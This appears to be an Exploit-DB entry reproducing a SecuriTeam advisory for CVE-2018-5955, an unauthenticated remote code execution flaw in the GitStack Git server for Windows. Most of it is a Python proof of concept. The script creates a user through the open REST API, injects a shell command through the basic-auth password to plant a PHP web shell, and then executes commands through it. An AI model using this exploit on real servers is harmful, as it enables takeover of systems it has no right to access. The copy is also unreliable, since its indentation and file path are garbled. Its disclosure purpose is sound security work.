GitStack - Unauthenticated Remote Code Execution

EDB-ID: 44044
Author: SecuriTeam
Published: 2018-01-15
CVE: CVE-2018-5955
Type: Webapps
Platform: PHP
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 The following advisory describes an unauthenticated action that allows a remote attacker to add a user to GitStack and then used to trigger an unauthenticated remote code execution. 

GitStack is “a software that lets you setup your own private Git server for Windows. This means that you create a leading edge versioning system without any prior Git knowledge. GitStack also makes it super easy to secure and keep your server up to date. GitStack is built on the top of the genuine Git for Windows and is compatible with any other Git clients. GitStack is completely free for small teams.”

## Credit
An independent security researcher, Kacper Szurek, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
We tried to contact GitStack since October 17 2017, repeated attempts to establish contact were answered, but no details have been provided on a solution or a workaround.

CVE: CVE-2018-5955

## Vulnerability details

User controlled input is not sufficiently filtered, allowing an unauthenticated attacker can add a user to GitStack server by sending the following POST request:

```
http://IP/rest/user/
data={'username' : username, 'password' : password}
```

Once the attacker has added a user to the server, he can enable the web repository feature.

Now the attacker can create a repository from remote and disable access to our new repository for anyone else.

In the repository the attacker is allowed to upload a backdoor and use it to execute code:

## Proof of Concept

```
import requests
from requests.auth import HTTPBasicAuth
import os
import sys

ip = '192.168.15.102'

# What command you want to execute
command = "whoami"

repository = 'rce'
username = 'rce'
password = 'rce'
csrf_token = 'token'

user_list = []

print "[+] Get user list"
r = requests.get("http://{}/rest/user/".format(ip))
try:
user_list = r.json()
user_list.remove('everyone')
except:
pass

if len(user_list) > 0:
username = user_list[0]
print "[+] Found user {}".format(username)
else:
r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password})
print "[+] Create user"
if not "User created" in r.text and not "User already exist" in r.text:
print "[-] Cannot create user"
os._exit(0)

r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip))
if "true" in r.text:
print "[+] Web repository already enabled"
else:
print "[+] Enable web repository"
r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}')
print "r: %s" % r
if not "Web interface successfully enabled" in r.text:
print "[-] Cannot enable web interface"
os._exit(0)

print "[+] Get repositories list"
r = requests.get("http://{}/rest/repository/".format(ip))
repository_list = r.json()

if len(repository_list) > 0:
repository = repository_list[0]['name']
print "[+] Found repository {}".format(repository)
else:
print "[+] Create repository"


r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text:
print "[-] Cannot create repository"
os._exit(0)

print "[+] Add user to repository"
r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username))

if not "added to" in r.text and not "has already" in r.text:
print "[-] Cannot add user to repository"
os._exit(0)

print "[+] Disable access for anyone"
r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone"))

if not "everyone removed from rce" in r.text and not "not in list" in r.text:
print "[-] Cannot remove access for anyone"
os._exit(0)

print "[+] Create backdoor in PHP"
r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST['a']); ?>" > c:GitStackgitphpexploit.php'))
print r.text.encode(sys.stdout.encoding, errors='replace')

print "[+] Execute command"
r = requests.post("http://{}/web/exploit.php".format(ip), data={'a' : command})
print r.text.encode(sys.stdout.encoding, errors='replace')
```

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